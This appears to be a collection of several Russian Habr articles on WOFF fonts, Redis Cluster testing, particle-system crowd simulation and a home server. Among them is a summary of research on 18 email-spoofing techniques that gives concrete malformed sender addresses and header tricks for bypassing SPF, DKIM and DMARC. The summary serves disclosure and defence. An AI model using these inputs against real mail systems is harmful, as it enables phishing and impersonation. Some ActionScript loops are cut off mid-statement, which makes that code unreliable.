WOFF родился в результате сотрудничества дизайнеров шрифтов Эрика ван Блокланда([Erik van Blokland](http://www.letterror.com/) ([архив](http://www.peeep.us/c8dde62d))) и Тола Леминга([Tal Leming](http://talleming.com/) ([архив](http://www.peeep.us/47ee9506))). Им оказывал помощь Джонатан Кью(Jonathan Kew) из Mozilla. Каждый [предложил](http://people.mozilla.com/~jkew/woff/woff-spec-latest.html)([архив](http://www.peeep.us/9a1c35e8)) свой формат и WOFF представляет собой слияние этих предложений. Формат планировался как простая перепаковка OpenType и TrueType, он не представляет новых функций, альтернатив механизму подключения @font-face или нового способа рендеринга. Множество производителей шрифтов [высказались в поддержку](http://typegirl.tumblr.com/post/142912558/most-of-the-important-foundries-are-supporting-webfont) ([архив](http://www.peeep.us/3d90999a)) нового формата, так что есть надежда, что этот формат откроет новые горизонты для web дизайнеров.
#### Детали различий между TrueType, OpenType и WOFF
Во-первых сжатие теперь часть WOFF, и web мастера могут уменьшить размер своих страниц, используя сжатые шрифты. В новом формате применено сжатие без потерь, так, что распакованный шрифт совпадает с оригинальным OpenType или TrueType, что позволяет оставить неизменным механизм рендеринга. Подобное сжатие может быть получено сжатием HTTP, но поскольку сжатие включено в сам формат WOFF его проще использовать, особенно в ситуациях когда отсутствует доступ к настройкам сервера.
Во-вторых формат включает дополнительные метаданные, в которые производитель шрифта может включить информацию об использовании шрифта. Эта информация не влияет на то как этот шрифт будет загружен, но позволяет определить происхождение этого шрифта, так заинтересовавший шрифтом использованным на web странице может проследить какой шрифт использован. Шрифты в WOFF сжаты, но не зашифрованы, этот формат не создавался как защищенный формат для желающих жестко контролировать использование шрифта.
Пока Firefox 3.6 не вышел, вы можете протестировать WOFF в [ночных сборках](ftp://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/) Firefox.
#### Примеры
Ниже простой пример, который показывает как написать @font-face правило чтобы подключить WOFF шрифт. Для корректной работы браузеров, которые поддерживают только прямое подключение OpenType и TrueType шрифтов напишем в src дескрипторе WOFF шрифт первым, с указанием типа «woff», и TrueType версию шрифта после него:
> /\* Gentium (SIL International) \*/
>
>
>
> @font-face {
>
> font-family: GentiumTest;
>
> src: url(fonts/GenR102.woff) format("woff"),
>
> url(fonts/GenR102.ttf) format("truetype");
>
> }
>
>
>
> body {
>
> font-family: GentiumTest, Times, Times New Roman, serif;
>
> }
Браузеры поддерживающие WOFF загрузят WOFF файл, а другие браузеры, которые поддерживают @font-face, но всё еще не поддерживают WOFF будут использовать TrueType версию. По мере распространения WOFF, необходимость указывать ссылки на несколько форматов шрифтов будет уменьшаться.
Другие примеры ниже показывают как использовать WOFF шрифты, причем так, чтобы они работали в любом браузере, поддерживающем @font-face, включая Internet Explorer.
#### Семейство шрифтов с множеством гарнитур
#### Использование Postscript CFF
#### Отображение африканских шрифтов
Ниже пример того, как загружаемые шрифты могу быть использованы в отображении мало поддерживаемых языков. Пример показывает Декларацию Прав Человека, переведенную на два африканских языка, и то как она будет отображена стандартными шрифтам браузера против загружаемого, применимого для отображения этих языков шрифта.
Обратите внимание на то, что в первом случае 3.1 MB TTF файл был сжат до 1 MB WOFF, а во втором 172KB TTF был сжат до 80KB WOFF.
#### Другой Postscript CFF шрифт
#### Пример на японском
#### Работа с другими браузерами
Firefox 3.6 будет первым выпущенным браузером с поддержкой WOFF, и важно сделать @font-face правила, которые будут правильно работать на браузерах без поддержки WOFF. В данном случае хорошо помогает явное указание типа шрифта, для обозначения формата перед его загрузкой, браузеры которые не поддерживают указанный тип просто проигнорируют его.
Internet explorer, включая IE8 поддерживает только формат EOT и реализует не полную поддержку @font-face. Это делает написание кросс-браузерного правила @font-face особенно хитрым. Одно из решений — написать несколько разных правил:
> @font-face {
>
> font-family: GentiumTest;
>
> src: url(fonts/GenR102.eot); /\* для IE \*/
>
> }
>
>
>
> @font-face {
>
> font-family: GentiumTest;
>
> /\* Работает только с браузерами поддерживающими WOFF \*/
>
> src: url(fonts/GenR102.woff) format("woff");
>
> }
Неприятным моментом является то, что IE не понимает подсказки формата и не распознает @font-face URL корректно, соответственно web мастера увидят такие записи в логах:
> `GET /fonts/GenR102.eot HTTP/1.1" 200 303536
>
>
>
> GET /fonts/GenR102.woff)%20format(%22woff%22) HTTP/1.1" 404 335`
IE успешно загружает EOT версию шрифта, но еще пытается загрузить WOFF файл, несмотря на имеющуюся подсказку. Эта попытка оказывается неудачной, и, хотя она не влияет на отображение страницы, она расходует ресурсы сервера. Обсуждения проблемы можно найти в [блоге](http://paulirish.com/2009/bulletproof-font-face-implementation-syntax/) ([архив](http://www.peeep.us/85d8d81b)) Пола Айриша (Paul Irish).
Еще одной проблемой IE является то, что он пытается загрузить все файлы шрифтов, вне зависимости от того используются они или нет. Это делает сложным использование единого CSS файла для всего сайта, так как IE попытается загрузить все указанные там шрифты расходуя трафик впустую. *(Это негативно скажется как на сервере, так и на клиенте. Примечание переводчика.)*
#### Дополнительные ресурсы
**Документация**
[Latest draft WOFF specification](http://people.mozilla.com/~jkew/woff/woff-spec-latest.html)
[Original blog post on using @font-face](http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/)
[CSS3 Fonts working draft](http://dev.w3.org/csswg/css3-fonts/)
[MDC @font-face documentation](https://developer.mozilla.org/en/CSS/@font-face)
**Инструменты**
[Jonathan Kew’s sample encoding/decoding code](http://people.mozilla.com/~jkew/woff/woff-code-latest.zip)
[woffTools – tools for examining and validating WOFF files](http://code.typesupply.com/wiki/woffTools)
[FontTools/TTX – Python library and tool for manipulating font data](http://sourceforge.net/projects/fonttools/)
[Web-based font subsetting tool](http://fonts.philip.html5.org/)
**Примеры использования @font-face**
[CSS @ Ten: The Next Big Thing](http://www.alistapart.com/articles/cssatten)
[Example layout using Graublau Sans](http://nicewebtype.com/fonts/graublau-sans-web/)
[Examples of Interesting Web Typography](http://typeinspire.com/)
[The Elements of Typographic Style Applied to the Web](http://webtypography.net/)
**Источники шрифтов**
[Font Squirrel](http://www.fontsquirrel.com/)
[10 Great Free Fonts for @font-face](http://opentype.info/demo/webfontdemo.html)
[40 Excellent Free Fonts by Smashing Magazine](http://www.smashingmagazine.com/2007/11/08/40-excellent-freefonts-for-professional-design/) | https://habr.com/ru/post/72991/ | null | ru | null |
# Как подружить Redis Cluster c Testcontainers?
В [26-м выпуске](https://anchor.fm/npcomplete/episodes/NP-complete-26----1-2-e11fhsi) NP-полного подкаста я рассказывал, что начал переводить один из своих сервисов из Redis Sentinel на Redis Cluster. На этой неделе я захотел потестировать данный код, и, конечно же, выбрал Testcontainers для этого. К сожалению, Redis Cluster в тестовых контейнерах не завелся из коробки, и мне пришлось вставить несколько костылей. О них и пойдет речь далее.
Вводные
-------
Сначала я бы хотел описать все вводные, а потом рассказать про костыли. Мой проект построен на Spring Boot. Для взаимодействия с редисом используется [Lettuce клиент](https://github.com/lettuce-io/lettuce-core). Для тестирования — [testcontainers-java](https://github.com/testcontainers/testcontainers-java) с JUnit. Версия обоих редисов — 6. В общем, всё типичное, нет ничего особенного с точки зрения стека.
Если кто-то еще не знаком с testcontainers, то пара слов о них. Это библиотека для интеграционного тестирования. Она построена на другой библиотеке — <https://github.com/docker-java/docker-java>. Тестконтейнеры, по сути говоря, помогают быстро и просто запускать контейнеры с разными зависимостями в ваших интеграционных тестах. Обычно это базы данных, очереди и другие сложные системы. Некоторые люди используют testcontainers и для запуска своих сервисов, от которых зависит тестируемое приложение (чтобы тестировать микросервисное взаимодействие).
Про Redis Cluster
-----------------
Redis Cluster — это одна из нескольких реализаций распределнного режима Редиса. К сожалению, в Редисе нет единого правильного способа, как масштабировать базу. Есть Sentinel, есть Redis Cluster, а еще ребята активно разрабатывают RedisRaft — распредеделенный редис на базе протокола консенсуса Raft (у них там своя реализация, которая, как они сами заявляют, не совсем каноничный Рафт, но конкретно для Redis — самое то).
В целом, про Redis Cluster есть две замечательных статьи на официальном сайте — <https://redis.io/topics/cluster-tutorial> и <https://redis.io/topics/cluster-spec>. Большинство деталей описано там.
Для использования Redis Cluster в testcontainers важно знать несколько вещей из документации. Во-первых, Redis Cluster использует gossip протокол — поэтому каждый узел кластера имеет TCP-соединение со всеми другими узлами. Поэтому, между нодами должна быть сетевая связность, даже в тестах.
Вторая важная штука, которую надо знать при тестировании — это наличие в Redis Cluster bootstrap узлов для конфигурации. То есть, вы в настройках можете задать лишь подмножество узлов, которые будут использоваться для старта приложения. В последствие, Redis клиент сам получит Топологию кластера через взаимодействие с Редисом. Исходя из этого, получается вторая особенность — тестируемое приложение должно иметь сетевую связность с теми Redis URI, которые будут аннонсированы со стороны редис кластера (кстати, эти адреса можно сконфигурировать через **cluster-announce-port** и **cluster-announce-ip**).
Про костыли с Redis Cluster и testcontainers
--------------------------------------------
Для тестирования я выбрал довольно популярный docker-образ — <https://github.com/Grokzen/docker-redis-cluster>. Он не подходит для продакшена, но очень прост в использовании в тестах. Особенность этого образа — все Редисы (а их 6 штук, по умолчанию — 3 мастера и 3 слейва) будут подняты в рамках одного контейнера. Поэтому, мы автоматически получаем сетевую связность между узлами кластера из коробки. Осталось решить вторую из двух проблем, связанную с получением приложением топологии кластера.
Я не хотел собирать свой docker-образ, а выбранный мной image не предоставляет возможности задавать настройки *cluster-announce-port* и *cluster-announce-ip*. Поэтому, если ничего не делать дополнительно, при запуске тестов вы увидите примерно такие ошибки:
```
Unable to connect to [172.17.0.3/:7003]: connection timed out: /172.17.0.3:7003
```
Ошибка означает, что мы со стороны приложения пытаеся приконнектится к Узлу редис кластера, используя IP докер контейнера и внутренний порт (порт 7003 используется данным узлом, но наружу он отображается на какой-то случайный порт, который мы и должны использовать в нашем приложении; внутренний порт, по понятным причинам, не доступен из вне). Что касается данного IP-адреса — он доступен для приложения, если это Linux, и он не доступен для приложения, если это MacOs/Windows (из-за особенностей реализации докера на этих ОС).
Решение проблемы (а-ка костыль) я собрал по частичкам из разных статей. А давайте сделаем NAT RedisURI на стороне приложения. Ведь это нужно именно для тестов, и тут не так страшно вставлять такой ужас. Решение, на самом деле, состоит из пары строк (огромное спасибо Спрингу и Lettuce, где можно сконфигурировать практически всё, только и успевай, как переопределять бины).
```
public SocketAddress resolve(RedisURI redisURI) {
Integer mappedPort = redisClusterNatPortMapping.get(redisURI.getPort());
if (mappedPort != null) {
SocketAddress socketAddress = redisClusterSocketAddresses.get(mappedPort);
if (socketAddress != null) {
return socketAddress;
}
redisURI.setPort(mappedPort);
}
redisURI.setHost(DockerClientFactory.instance().dockerHostIpAddress());
SocketAddress socketAddress = super.resolve(redisURI);
redisClusterSocketAddresses.putIfAbsent(redisURI.getPort(), socketAddress);
return socketAddress;
}
```
[Полный код выложен на гитхаб](https://github.com/Hixon10/spring-redis-cluster-testcontainers).
Идея кода супер простая. Будем хранить две *Map*. В первой — маппинг между внутренними портами редиса (**7000..7005**) и теми, что доступны для приложения (они могут быть чем-то типа **51343, 51344** и тд). Во-второй — внешние порты (типа, **51343**) и **SocketAddress**, полученный для них. Теперь, когда мы получаем от Редиса при обновлении топологии что-то типа *172.17.0.3:7003*, мы сможем легко найти нужный внешний порт, по которому сможем найти *SocketAddress* и переиспользовать его. То есть, с портами проблема решена. А что с IP?
С IP-адресом всё просто. Тут нам на помощь приходят Тест контейнеры в которых есть утилитный метод — *DockerClientFactory.instance().dockerHostIpAddress()*. Для MacOs/Windows он будет отдавать **localhost**, а для linux — IP-адрес контейнера.
Выводы
------
Программирование — это супер интересно, но это вы и без меня знали. А ещё, порой приходится вспомнить, что было на первой лекции по сетям в универе, чтобы написать на своей любимой джавке пару новых интеграционных тестов. Приятно, когда знания из института пригождаются в самый неожиданный момент. | https://habr.com/ru/post/563650/ | null | ru | null |
# Работают ли SPF, DKIM и DMARC?
Появилась вчера на Хабре такая вот [статья](https://habr.com/ru/company/globalsign/blog/650485/) . Когда компания, занимающаяся ИТ-безопасностью заявляет, что spf/dkim/dmarc не работают и существует минимум 18 способов подменить адрес на (вашем!) почтовом сервере, это вызывает озабоченность и желание разобраться в вопросе. Я прочитал [оригинальную статью](https://i.blackhat.com/USA-20/Thursday/us-20-Chen-You-Have-No-Idea-Who-Sent-That-Email-18-Attacks-On-Email-Sender-Authentication-wp.pdf) и кратко изложил свое понимание вопроса. Если тема для вас актуальна рекомендую непременно прочитать оригинал.
---
Основная идея статьи в том, что любая современная система состоит из компонентов, и проблемы чаще всего возникают при их взаимодействии. Всего описано 18 проблем разбитых примерно на 6 категорий, а техники обозначены A1-A18.
### Путаница с адресом в helo/mail from
В протоколе smtp адрес отправителя используется в двух командах helo и mail from. Требования к SPF (RFC 7208) гласят, что проверка значения из mail from обязательна, из helo - рекомендуется. Требования к DMARC (RFC 4789) гласит что проверка должна выполняться по значению из mail from, а если значение пустое, то нужно взят значение из helo. В некоторых случаях это может привести к тому, что spf и dmarc будут проверять разные значения.
А1 - несуществующие поддомены. Если указать несуществующий поддомен существующего домена в mail from, то SPF вернет пустое значение. Некоторые реализации SPF не выполняют проверку домена, а сразу берет значение из helo, где злоумышленник может указать нужное ему значение. Но некоторые реализации DMARC все равно используют значение из mail from и могут вернуть положительный результат при проверке домена отправителя.
А2 - "пустой" адрес в mail from. Скобки в почтовом адресе могут использоваться как комментарии (RFC 5322). И некоторые реализации SPF ошибочно трактуют адрес `(any@legitimate.com` (непарная левая круглая скобка использована умышленно) как пустой. Но некоторые реализации DMARC считают это корректным адресом и используют для проверки.
Неправильная интерпретация доменного имени
------------------------------------------
А3 - NULL-неоднозначность. Для обхода проверки dkim используется символ 0x00 в доменном имени, который считается концом строки в некоторых языках, а в некоторых не считается. Для эксплуатации ошибки в подписи dkim в качестве домена отправителя используется, например, `legitimate.com`, а в качестве адреса для получения публичного ключа используется `attacker.com.\x00.anything`. Если dkim сочтет такой адрес корректным, то для получения публичного ключа будет запрошен dns-адрес `attack.com.\x00.any._domainkey.legitimate.com`. DNS сервер интерпретирует 0х00 как конец строки и вернет результат для attack.com. Данная ошибка была обнаружена на gmail.com и уже исправлена.
Ошибки при разборе заголовков аутентификации
--------------------------------------------
Использование символов " ( @ в адресе может приводить к его ошибочному разбору и неверным результатам проверки.
А4 - атакующий использует в dkim подписи адрес `legitimate.com(.attacker.com`, а в качестве адреса получателя `admin@legitimate.com`. Если на сервере получателя домен в dkim-подписи распарсится неверно (т. е. до скобки, т. к. текст в скобках является комментарием, согласно RFC), то адрес отправителя будет признан верным
А5 - атакующий использует в качестве адреса получателя адрес `legitimate.com(.attacker.com` или `any@legitimate.com’@a.attacker.com`, подобные адреса получателя могут быть по-разному интерпретированы smtp сервером и при проверке .spf и dmarc. SPF использует `legitimate.com(.attacker.com` или `legitimate.com@a.attack.com`, DMARC - `egitimate.com`.
Авторы статьи приводят список серверов на которых удалось эксплуатировать описанные уязвимости.
Ошибки несоответствия интерфейсов
---------------------------------
Самый богатый на ошибки раздел, описано шесть ошибок в трёх категориях.
### Неправильная интерпретация заголовка from.
А6 - Использование нескольких заголовков from. RFC требует наличие ровно одного заголовка, но разное ПО может использовать либо первый, либо последний заголовок.
A7 - Использование пробелов в поле from. Противоречит RFC, но разное ПО обрабатывает ситуацию по-разному.
А8 - использование альтернативных заголовков. Некоторое ПО при отсутствии или ошибочном заголовке from может использовать схожие по назначению заголовки, например sender или recent-from.
#### Неправильная интерпретация адреса.
Поле адреса в заголовке From может иметь достаточно сложный синтаксис, и извлечение действительного адреса непростая задача, которую разное ПО решает по-разному. В частности, адрес может состоять из отображаемого имени, строки с указанием маршрута, собственно адреса и комментариев.
Примеры корректных заголовков:
`From: “a@a.com” <@b.com, @c.com:d@d.com> (e@e.com)`
`From: Pete(A nice \) chap)`
Информация о маршруте была определена в RFC 822, в настоящее время признана устаревшей. RFC 5322 запрещает генерировать это поле, но требует правильно его обрабатывать.
Кроме того, в заголовке from может быть указан список адресов авторов, и тогда требуется заголовок sender. Некоторые символы (запятые и кавычки) интерпретируются специальным образом, и при использовании в качестве обычных символов перед ними необходимо ставить обратный слэш. Кроме того символы non-ascii могут быть закодированы в quoted-printable или base64.
В статье приведены примеры, как разное ПО по-разному извлекает адрес из заголовка from и описаны 5 типов (A9-A13) атак построенных на этом. Наглядные изображения атак и ошибок отображения адресов приведены на картинках ниже.
Ошибки отображения адресов на серверах и почтовых клиентах. Tutanota и Protonmail имеют только веб-интерфейс.Spoofing писем с корректными dkim подписями
-------------------------------------------
Если атакующий имеет письмо с корректными dkim подписями, в некоторых случаях возможна подмена заголовков или содержимого письма при его пересылке.
А14. Добавление заголовков, которые не защищены dkim. RFC описывает 19 заголовков, которые следует защищать, но, к примеру Citibank защищает только заголовки from и subject, American Express - from и reply-to. В случае Gmail атакующий может скрыть тело своего сообщения установив заголовок `Content-Disposition: attachment;filename=ticket.jpg`
Пример пересылки письма American Airlines получателю Gmail. Тема письма подделана, а тело скрыто во вложение.А15. Добавление дублирующих заголовков (from, subject, content-type). DKIM защищает подписью только последний заголовок, но 9 из 19 почтовых программ используют первый.
А16. Подмена тела письма. DKIM подпись может указывать длинну подписываемого сообщения. Это используется, например, в Google Groups: к подписанному сообщению может быть добавлена информация о возможности отписаться и при этом подпись останется корректной. Аналогичным образом, атакующий может добавить вредоносные данные в конец письма, сохранив корректность подписи. Кроме того, если не защищен заголовок content-type, атакующий может изменить структуру письма так, чтобы отображалось вредоносное содержимое.
Пример использования незащищенных заголовков. Получатель на Gmail увидит корректную подпись discover.comA17. При наличии учетной записи на сервере атакующий может авторизоваться под своей учетной записью, но в заголовке from указать другого пользователя (например, admin). Некоторые почтовые сервера не выполняют проверку и позволяют подобные действия.
А18. Двух-ходовая схема. Атакующий отправляет письмо себе указывая корректный заголовок from, получает письмо с корректной подписью dkim, добавляет второй заголовок from и отправляет жертве. В некоторых случаях возможна ситуация, при которой подпись будет проверена и подтверждена для первого заголовка, но в почтовой программе отобразится второй.
В статье также предложены методы по защите от подобного рода атак (кратко - rtfm, как обычно).
Авторы уведомили CERT/CC и всех вендоров о найденных проблемах и получили позитивную реакцию (Gmail, Zoho, Protonmail и Mail.ru выплатили вознаграждение за каждую из найденных уязвимостей) ото всех кроме Microsoft и Yahoo. Microsoft расценил проблему, как относящуюся к социальной инженерии и не имеющей отношения к проблемам ПО. Yahoo ответил что ошибка состоит в настройке DNS авторов.
Спасибо GlobalSign за мотивацию прочитать оригинальную статью. | https://habr.com/ru/post/650687/ | null | ru | null |
# Particles System в моделировании толпы (2)
Продолжаем разговор от 07.04.2014 ([Particles System в моделировании толпы](http://habrahabr.ru/post/218473/)).
**В этой части добавляю:**
1. медленные персонажи (это будут крупные стрЕлки)
2. огибание в пути медленных стрелок быстрыми
3. взрывы (с разбрасыванием тел)
**Короткая ремарка о стиле написания кода (для читателей первой части):**
* не забывайте, код пишется а-ля псевдокод — не смотря на то, что он рабочий, во главу угла поставлена наглядность, а не функциональность и «правильность»
* расширяю базовый класс приложения (*MainWailines\_1*) через класс (*MainWailines\_2*) — опять же ради наглядности, и чтоб не смешивать комментарии из разных статей (т.е. — в реальности, конечно, я бы не игрался с наследованием в этом случае)
* комментарии из первой части во второй части удаляю — все ради того же, да-да, ради наглядности
* картинок много — проиллюстрировать эволюцию решения и показать, что нет предела совершенству
##### медленные персонажи
Пишем метод *MainWaylines\_2.setupEmitterForMonsterArrows()*. Фактически это *copy-paste* прежнего *MainWaylines\_1.setupEmitter()*. Я только удалил старые комментарии, и оставил их лишь там, где есть изменения.
```
protected function setupEmitterForMonsterArrows():void
{
var emitter:Emitter2D = new Emitter2D();
// это счетчик - устанавливаем на 1 Чудовищную Стрелку в секунду
emitter.counter = new Steady(1);
var wayline:Wayline = _waylines[0];
emitter.addInitializer( new Position( new LineZone( new Point(wayline.x - wayline.radius*Math.cos(wayline.rotation), wayline.y - wayline.radius*Math.sin(wayline.rotation)), new Point(wayline.x + wayline.radius*Math.cos(wayline.rotation), wayline.y + wayline.radius*Math.sin(wayline.rotation)) ) ) );
// сообщаем, какую картинку использовать рендеру при отрисовке частицы
// делаем юнитов покрупнее
emitter.addInitializer( new ImageClass( Arrow, [10] ) );
emitter.addAction( new DeathZone( new RectangleZone( -30, -30, stage.stageWidth+60, stage.stageHeight + 60 ), true ) );
emitter.addAction( new Move() );
emitter.addAction( new RotateToDirection() );
// если юнитов этого типа будет мало, и между ними будет большое расстояние,
// то можно было бы вообще исключить этот action
// emitter.addAction( new MinimumDistance( 7, 600 ) );
// делаем юнитов помедленнее
emitter.addAction( new ActionResistance(.1));
emitter.addAction( new FollowWaylines(_waylines) );
var renderer:DisplayObjectRenderer = new DisplayObjectRenderer();
addChild( renderer );
renderer.addEmitter( emitter );
// командуем старт
emitterWaylinesForMonsterArrows = emitter;
emitterWaylinesForMonsterArrows.start();
}
```
теперь расширяем и запускаем *MainWaylines\_2.setup()*
```
override protected function setup(e:Event=null):void
{
super.setup();
// создаем новый эмиттер для крупных и медленных
setupEmitterForMonsterArrows();
}
```
получаем картинку, подобную этой. Крупные стрелки сливаются с мелкими — существуют параллельно
##### огибание в пути медленных стрелок быстрыми
для того, чтоб мелочь огибала крупные стрелки, нужно им дать команду. Добавляем строчку в *MainWaylines\_2.setup()*, где *Antigravities* — это еще один стандартный *action* из библиотеки системы частиц (классная библиотека, да?).
```
override protected function setup(e:Event=null):void
{
super.setup();
// создаем новый эмиттер для крупных и медленных
setupEmitterForMonsterArrows();
// добавляем новый action к эмиттеру "для самых маленьких"
// обратите внимание(!) эмиттер УЖЕ запущен, и его не надо перезапускать - поведение частиц можно менять на лету
emitterWaylines.addAction( new Antigravities(emitterWaylinesForMonsterArrows, -400000) );
}
```
и результат начинает походить вот на такую картинку. Мелкие стрелки уже огибают крупные, но уж очень много их скапливается позади. Эти пробки совсем некрасиво смотрятся.
это происходит из-за следующего «конфликта». *Antigravities* заставляет мелкие стрелки огибать крупные. Одновременно с этим гонит их вперед *FollowWaylines* — каждая стрелка стремится к определенной точке на перпендикуляре пути, помните? Мелкие стрелки просто не успевают воврмя обогнуть крупную из-за того что слишком быстро приближаются к узловым точкам на пути. Одно из решений (и мне кажется, самое простое) — это увеличение длины отрезков пути (расстояния между узлами маршрута).
переписываем *MainWaylines\_2.setupWaylines()* ради одной строчки
```
override protected function setupWaylines():void
{
_waylines = [];
var w:Number = stage.stageWidth;
var h:Number = stage.stageHeight;
var points:Array = [new Point(-9,h*.4), new Point(w*.3,h*.4), new Point(w*.5,h*.1), new Point(w*.8,h*.1), new Point(w*.8,h*.9), new Point(w*.5, h*.9), new Point(w*.3, h*.8), new Point(-40, h*.8)];
var fitline:FitLine = new FitLine(points);
var path:Path = new Path(fitline.fitPoints);
/*
* переписываем одно число. Было 40, станет 25
*
* более красивым решением, было бы написание метода, который расчитывал бы число шагов в зависимости от длины пути
* ну, это надо лишь, если мы планируем автоматически создавать много разных маршрутов
*/
var step:Number = path.length / 25;
var strength:Number = 100;
for(var i:int=0; i
```
А еще, раз крупных стрелок существенно меньше мелких (в 60 раз), их можно пустить по более узкому фарватеру (уменьшить ширину ЭМИТТЕРА для крупных стрелок), и тем самым дать мелким стрелкам возможность обходить их с краю свободнее.
редактируем *MainWaylines\_2.setupEmitterForMonsterArrows()*, уменьшив *LineZone* эмиттера на 20 (по 10 пикселей с каждой стороны)
```
emitter.addInitializer( new Position( new LineZone( new Point(wayline.x - (wayline.radius-10)*Math.cos(wayline.rotation), wayline.y - (wayline.radius-10)*Math.sin(wayline.rotation)), new Point(wayline.x + (wayline.radius-10)*Math.cos(wayline.rotation), wayline.y + (wayline.radius-10)*Math.sin(wayline.rotation)) ) ) );
```
теперь пробки за крупными стрелками стали значительно меньше
##### взрывы (с разбрасыванием тел)
Создаем новый эмиттер — для анимации разбрасывания тел
```
protected function setupEmitterForExplosion():void
{
var emitter:Emitter2D = new Emitter2D();
// чтоб частицы двигались - это уже знакомо
emitter.addAction( new Move() );
// чтоб не играться с соотношениями сил, чтоб не очень быстро разбрасывались частицы - проще тупо ограничить скорость
emitter.addAction( new SpeedLimit(40));
// это чтоб частицы постепенно замедлялись - трение
emitter.addAction( new Friction(40) );
// на всякий случай - вдруг вылетят (хотя можно было на другие эмиттеры оставить)
emitter.addAction( new DeathZone( new RectangleZone( -30, -10, stage.stageWidth+40, stage.stageHeight + 20 ), true ) );
// новый рендер
var renderer:DisplayObjectRenderer = new DisplayObjectRenderer();
addChild( renderer );
renderer.addEmitter( emitter );
// командуем старт
emitterExplosion = emitter;
emitterExplosion.start();
}
```
Подписываемся на *MouseEvent.MOUSE\_DOWN* в *MainWaylines\_2.setup()* — по этим событиям будем генерировать взрывы
```
stage.addEventListener(MouseEvent.MOUSE_DOWN, handleMouseDown);
```
почему не сразу вызываем *explosion(e);*? Туда можно анимацию самого взрыва добавить, по окончании которой сгенерить последствия
```
private function handleMouseDown(e:MouseEvent):void
{
explosion(e);
}
```
Теперь сам взрыв
```
private function explosion(e:MouseEvent):void
{
if(emitterWaylines == null){ return; }
if(emitterExplosion == null){ return; }
// радиус взрыва
var explRadius:int = 30;
// ради оптимизации заводим локальные переменные
// (внутри больших циклов обращение к данным не на прямую, а через dot-синтаксис начинает существенно потреблять процессорное время)
var particleOrigin:Particle2D;
var particleClone:Particle2D;
var particlePoint:Point = new Point();
// произошел взрыв в точке...
var explPoint:Point = new Point(e.stageX, e.stageY);
// готовимся к длинному циклу
var particles:Array = emitterWaylines.particlesArray;
var length:int = particles.length;
// перебор всех частиц в эмиттере
for(var p:int=0; p
```
Запускаем. Через несколько кликов получаем следущую картинку — красные бесконтрольно накапливаются, а ведь их нужно возвращать обратно в поток.
Суть необходимых изменений проста — по истечении определенного времени надо «возвращать» частицу в прежний поток.
1. Сначала вносим изменения в *MainWaylines\_2.setupEmitterForExplosion()*:
```
protected function setupEmitterForExplosion():void
{
var emitter:Emitter2D = new Emitter2D();
...
// этот action отсчитывает "возраст" частицы. По истечению возраста, частица удаляется.
// соотв. надо подписаться на событие, чтоб вернуть частицу в прежний эмиттер
emitterExplosion.addAction( new Age() );
...
// подписываемся на "смерть частицы от старости", чтоб перенести ее обратно в "родной" эмиттер
emitterExplosion.addEventListener(ParticleEvent.PARTICLE_DEAD, handleParticleDeadFromEmitterExplosion);
}
```
2. теперь добавляем изменения в *MainWaylines\_2.explosion()*
```
private function explosion(e:MouseEvent):void
{
...
// перебор всех частиц в эмиттере
for(var p:int=0; p
```
Запускаем. Получаем.
**Итог:**
1. два типа юнитов: мелкие и крупные
2. мелкие юниты огибают крупные
3. взрывы действют на мелкие юниты (пусть это будет шрапнель, которая не действует на танки — крупные стрелки)
4. после того, как мелкие оправятся от «кантузии», они снова возвращаются в общий поток
**Очевидные минусы**
1. не-эпично высокая скорость стрелок
2. низкий *FPS*
Если для решения проблемы с п.1. можно продолжить играться с настройками эмиттеров (а сегодняшний мой способ использования системы частиц не самый совершенный), то что же с п.2.(*FPS*)? Есть ли потенциал для оптимизации? Ведь надо же еще графику нормальную прикручивать, еще кучу игрового кода…
**Думаю, потенциал для оптимизации есть, и немалый**
1. Запрет на столкновения между мелкими стрелками, при текущих масштабах — на самом деле чистая блажь — можно число юнитов увеличить в 2-5 раз, и в образовавшейся каше вообще ничего не разглядеть будет (а если проекция на поле не *top-down*, как сейчас, а изометрическая?). Да и не будет «полной каши» — ведь мелкие стрелки, не забывайте, двигаются по индивидуально заданным маршрутам (у каждой имеется свое положение относительно перпендикуляра к касательной). Попробуйте отключить *action MinimumDistance*, предупреждающий взаимные столкновения — особой разницы не заметите (только при обгоне крупных). А прирост в производительности — существенный (можете глянуть в код action-а и увидеть, СКОЛЬКО там расчетов).
2. Просто отключил «родной» рендер — и FPS сразу подрос в более, чем в полтора раза (а если на [Starling](http://gamua.com/starling/)).
**Теперь о сложности подхода вообще — работе с Системой Частиц.**
Надеюсь, он не показался излишне сложным — «кучи» эмиттеров, настроек к ним, передача частиц между ними…
На самом деле, при *data-oriented* подходе вся логика поведения сотен частиц заключена именно в эмиттерах. А у нас их сейчас только три (из которых эмиттеры для мелких и крупных стрелок вообще близнецы-братья).
Еще эмиттеры можно представлять в качестве состояний (*State*) — следование по маршруту и поражение взрывной волной. А «передача» частиц между эмиттерами — ни что иное, как переход между состояниями.
Код доступен на [google code](https://code.google.com/p/particles-system-crowd/). Класс *MainWaylines\_2*
PS: В следующей части добавлю гибель стрелок (ведь взрывы убивают)
поиграюсь с настройками эмиттеров — хочется эпичности.
PPS: Вопрос. Хочу освоить легкий способ создания *sprite sheet* из анимированных 3D персонажей. Как я для себя это вижу:
1. имеется анимированный персонаж
2. хочу в некоем программном продукте задать примерно следующие параметры:
* размер
* угол камеры
* число фреймов
3. на выходе — *sprite sheet*
Не подскажете, в какую сторону смотреть? Может есть ПОДРОБНОЕ описание подобной РАБОЧЕЙ методики?
Заранее спасибо.
PPPS: добавил две строчки в код метода *MainWaylines\_2.explosion()*: обнуляю векторы скоростей частицы перед взрывом — естественней смотрится
```
protected function explosion(e:MouseEvent):void
{
...
particleClone.velX = 0;
particleClone.velY = 0;
...
}
``` | https://habr.com/ru/post/218697/ | null | ru | null |
# Домашний «облачный» сервер на 10 Ватт? Вполне!
Привет пользователям Хабра.
Сегодня хочу рассказать про домашний веб-сервер, который одновременно прекрасно выполняет функции домашнего медиа-центра (mp3, ip-tv, video, uPnP и т.д.).
Все началось с того, что я уже некоторое время использовал для внутренних нужд сервер HP MicroServer N36L с RAID5 на 4 терабайта(3x2GB HDD WD Green + 8 Gb ECC RAM), с виртуальными машинами на оракловском vBox, который в принципе и неплох, но его постоянное жужжание беспокоило членов семьи в смысле зря съедаемых киловатт в год (если будут интересующиеся, расскажу о нем в одном из следующих постов).
К тому же хотелось чего-нибудь более современного, с возможностью использования в качестве полноценного медиа-центра с прямым подключением к телевизору.
